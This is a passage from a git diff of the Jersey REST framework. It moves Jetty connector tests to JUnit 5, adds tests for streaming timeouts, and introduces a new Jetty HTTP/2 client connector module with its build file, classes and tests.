org.junit.jupiter.api.Assertions.fail; /** * @author Martin Matula @@ -65,6 +72,48 @@ public String getTimeout() { } return "GET"; } + + /** + * Long-running streaming request + * + * @param count number of packets send + * @param pauseMillis pause between each packets + */ + @GET + @Path("stream") + public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count, + @QueryParam("pauseMillis") int pauseMillis) { + StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis); + + return Response.ok(streamingOutput) + .build(); + } + } + + private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) { + + return output -> { + try { + TimeUnit.MILLISECONDS.sleep(startMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + output.write("begin\n".getBytes(StandardCharsets.UTF_8)); + output.flush(); + for (int i = 0; i < count; i++) { + try { + TimeUnit.MILLISECONDS.sleep(pauseMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8)); + output.flush(); + } + output.write("end".getBytes(StandardCharsets.UTF_8)); + }; } @Override @@ -121,4 +170,74 @@ public void testTimeoutInRequest() { c.close(); } } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + final Response response = target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + assertTrue(response.readEntity(String.class).contains("end")); + } + + @Test + public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(JettyClientProperties.TOTAL_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + fail("This operation should trigger total timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception { + + int start = 150; + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("start", start) + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + fail("This operation should trigger idle timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } } diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java index bf0b9b928ed..ee4a2d427bf 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -45,10 +45,10 @@ import org.glassfish.jersey.server.model.Resource; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * This very basic resource showcases support of a HTTP TRACE method, @@ -129,9 +129,9 @@ public void testProgrammaticApp() throws Exception { String responseEntity = response.readEntity(String.class); for (String expectedFragment : expectedFragmentsProgrammatic) { - assertTrue("Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity, - // toLowerCase - http header field names are case insensitive - responseEntity.contains(expectedFragment)); + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); } } @@ -143,9 +143,9 @@ public void testAnnotatedApp() throws Exception { String responseEntity = response.readEntity(String.class); for (String expectedFragment : expectedFragmentsAnnotated) { - assertTrue("Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity, - // toLowerCase - http header field names are case insensitive - responseEntity.contains(expectedFragment)); + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); } } diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java index 6f8d3122af1..058bd57c7d7 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,12 +23,12 @@ import org.glassfish.jersey.client.ClientConfig; import org.eclipse.jetty.client.HttpClient; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertSame; -import static org.junit.Assert.assertThat; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test of access to the underlying HTTP client instance used by the connector. @@ -50,12 +50,10 @@ public void testHttpClientInstanceAccess() { final WebTarget target = client.target("http://localhost/"); final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target); - assertNotNull("HTTP client instance set on JerseyClient should not be null.", hcOnClient); - assertNotNull("HTTP client instance set on JerseyWebTarget should not be null.", hcOnTarget); - assertSame("HTTP client instance set on JerseyClient should be the same instance as the one set on JerseyWebTarget" - + "(provided the target instance has not been further configured).", - hcOnClient, hcOnTarget - ); + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one " + + "set on JerseyWebTarget (provided the target instance has not been further configured)."); } @Test diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml new file mode 100644 index 00000000000..efede54af51 --- /dev/null +++ b/connectors/jetty-http2-connector/pom.xml @@ -0,0 +1,273 @@ + + + + + 4.0.0 + + + org.glassfish.jersey.connectors + project + 3.1.99-SNAPSHOT + + + jersey-jetty-http2-connector + jar + jersey-connectors-jetty-http2 + + Jersey Client Transport via Jetty + + + UTF-8 + ${project.basedir}/target + ${project.basedir}/src/main/java11 + ${project.basedir}/target17 + ${project.basedir}/src/main/java17 + + + + + org.eclipse.jetty + jetty-client + + + org.eclipse.jetty + jetty-util + + + + org.glassfish.jersey.connectors + jersey-jetty-connector + ${project.version} + + + + org.glassfish.jersey.media + jersey-media-jaxb + ${project.version} + test + + + + org.glassfish.jersey.media + jersey-media-json-jackson + ${project.version} + test + + + com.sun.xml.bind + jaxb-osgi + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.maven.plugins + maven-compiler-plugin + + + org.apache.felix + maven-bundle-plugin + true + + + + ${jetty.osgi.version}, + * + + + + + + + + + + JettyExclude + + [11,17) + + + ${jetty11.version} + + + ${java11.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java11.sourceDirectory} + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + + org/glassfish/jersey/jetty/http2/connector/*.java + + + + + + + + JettyInclude + + [17,) + + + + org.eclipse.jetty.http2 + jetty-http2-client + + + org.eclipse.jetty.http2 + jetty-http2-client-transport + + + org.glassfish.jersey.containers + jersey-container-jetty-http2 + ${project.version} + test + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-jetty-http2 + ${project.version} + test + + + + ${java17.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java17.sourceDirectory} + + + + + + + + + + copyJDK17FilesToMultiReleaseJar + + + + target17/classes/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.class + + [11,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java11.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + + + \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java new file mode 100644 index 00000000000..960bbb656b9 --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java @@ -0,0 +1,21 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the + * Jetty Client. + */ +package org.glassfish.jersey.jetty.http2.connector; diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java new file mode 100644 index 00000000000..7d203cc522e --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java @@ -0,0 +1,60 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.ProcessingException; +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.connector.JettyHttpClientContract; +import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * HTTP/2 enabled version of the {@link JettyHttpClientSupplier} + * + * @since 2.41 + */ +public class JettyHttp2ClientSupplier implements JettyHttpClientContract { + private final HttpClient http2Client; + + /** + * default Http2Client created for the supplier. + */ + public JettyHttp2ClientSupplier() { + this(createHttp2Client()); + } + /** + * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered + * to a {@link org.glassfish.jersey.client.ClientConfig} + * @param http2Client seed doc for JDK 11+. + */ + public JettyHttp2ClientSupplier(HttpClient http2Client) { + this.http2Client = http2Client; + } + + private static final HttpClient createHttp2Client() { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return null; // does not work at JDK lower than 17 + } + + @Override + public HttpClient getHttpClient() { + return http2Client; + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java new file mode 100644 index 00000000000..301879caabd --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java @@ -0,0 +1,40 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client + * + * @since 2.41 + */ +public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return null; // does not work at JDK lower than 17 + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java new file mode 100644 index 00000000000..36556e0097f --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java @@ -0,0 +1,59 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.jetty.connector.JettyConnector; +import org.glassfish.jersey.jetty.connector.JettyHttpClientContract; +import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier; + +/** + * HTTP/2 enabled version of the {@link JettyHttpClientSupplier} + * + * @since 2.41 + */ +public class JettyHttp2ClientSupplier implements JettyHttpClientContract { + private final HttpClient http2Client; + + /** + * default Http2Client created for the supplier. + */ + public JettyHttp2ClientSupplier() { + this(createHttp2Client()); + } + /** + * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered + * to a {@link org.glassfish.jersey.client.ClientConfig} + * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called. + */ + public JettyHttp2ClientSupplier(HttpClient http2Client) { + this.http2Client = http2Client; + } + + private static final HttpClient createHttp2Client() { + final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client()); + return new HttpClient(transport); + } + + @Override + public HttpClient getHttpClient() { + return http2Client; + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java new file mode 100644 index 00000000000..a602b0d7c86 --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java @@ -0,0 +1,81 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2; +import org.eclipse.jetty.io.ClientConnector; +import org.glassfish.jersey.jetty.connector.JettyConnector; + +import java.util.Optional; + +/** + * Extends {@link JettyConnector} with HTTP/2 transport support + * + * @since 2.41 + */ +class JettyHttp2Connector extends JettyConnector { + + + /** + * Create the new Jetty HTTP/2 client connector. + * + * @param jaxrsClient JAX-RS client instance, for which the connector is created. + * @param config client configuration. + */ + JettyHttp2Connector(Client jaxrsClient, Configuration config) { + super(jaxrsClient, config); + } + + /** + * provides required {@link HttpClientTransport} for client + * + * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client} + * + * @return {@link HttpClientTransportOverHTTP2} + * @since 2.41 + */ + @Override + protected HttpClientTransport initClientTransport(ClientConnector clientConnector) { + return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector)); + } + + /** + * provides custom registered {@link HttpClient} (if any) with HTTP/2 support + * + * @param config configuration where {@link HttpClient} could be registered + * @return {@link HttpClient} instance if any was previously registered or NULL + * + * @since 2.41 + */ + @Override + protected HttpClient getRegisteredHttpClient(Configuration config) { + if (config.isRegistered(JettyHttp2ClientSupplier.class)) { + Optional contract = config.getInstances().stream() + .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst(); + if (contract.isPresent()) { + return ((JettyHttp2ClientSupplier) contract.get()).getHttpClient(); + } + } + return null; + } +} diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java new file mode 100644 index 00000000000..02eaf5a81b3 --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java @@ -0,0 +1,58 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client + * + * @since 2.41 + */ +public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + return new JettyHttp2Connector(client, runtimeConfig); + } + + public static HttpClient getHttpClient(Configurable component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable initializable = (Initializable) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof JettyHttp2Connector) { + return ((JettyHttp2Connector) connector).getHttpClient(); + } + + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties new file mode 100644 index 00000000000..5fc84258009 --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties @@ -0,0 +1,21 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - HTTP method, e.g. GET, DELETE +method.not.supported=Method {0} not supported. +invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget. +expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider. +not.supported=Jetty connector is not supported on JDK version less than 17. diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java new file mode 100644 index 00000000000..76ef67bf56c --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java @@ -0,0 +1,193 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.hamcrest.Matchers; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AsyncTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName()); + private static final String PATH = "async"; + + /** + * Asynchronous test resource. + */ + @Path(PATH) + public static class AsyncResource { + /** + * Typical long-running operation duration. + */ + public static final long OPERATION_DURATION = 1000; + + /** + * Long-running asynchronous post. + * + * @param asyncResponse async response. + * @param id post request id (received as request payload). + */ + @POST + public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) { + LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName()); + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep() + try { + Thread.sleep(OPERATION_DURATION); + return "DONE-" + id; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED-" + id; + } finally { + LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName()); + } + } + }, "async-post-runner-" + id).start(); + } + + /** + * Long-running async get request that times out. + * + * @param asyncResponse async response. + */ + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName()); + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + } + }); + asyncResponse.setTimeout(1, TimeUnit.SECONDS); + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // very expensive operation that typically finishes within 1 second but can take up to 5 seconds, + // simulated using sleep() + try { + Thread.sleep(5 * OPERATION_DURATION); + return "DONE"; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED"; + } finally { + LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName()); + } + } + }).start(); + } + + } + + @Override + protected Application configure() { + return new ResourceConfig(AsyncResource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY)); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + /** + * Test asynchronous POST. + * + * Send 3 async POST requests and wait to receive the responses. Check the response content and + * assert that the operation did not take more than twice as long as a single long operation duration + * (this ensures async request execution). + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncPost() throws Exception { + final long tic = System.currentTimeMillis(); + + // Submit requests asynchronously. + final Future rf1 = target(PATH).request().async().post(Entity.text("1")); + final Future rf2 = target(PATH).request().async().post(Entity.text("2")); + final Future rf3 = target(PATH).request().async().post(Entity.text("3")); + // get() waits for the response + final String r1 = rf1.get().readEntity(String.class); + final String r2 = rf2.get().readEntity(String.class); + final String r3 = rf3.get().readEntity(String.class); + + final long toc = System.currentTimeMillis(); + + assertEquals("DONE-1", r1); + assertEquals("DONE-2", r2); + assertEquals("DONE-3", r3); + + assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION)); + } + + /** + * Test accessing an operation that times out on the server. + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncGetWithTimeout() throws Exception { + final Future responseFuture = target(PATH).path("timeout").request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java new file mode 100644 index 00000000000..5daad2d38c4 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java @@ -0,0 +1,72 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import 